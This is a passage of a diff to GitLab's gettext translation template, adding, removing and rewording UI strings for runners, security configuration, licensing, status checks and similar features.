msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
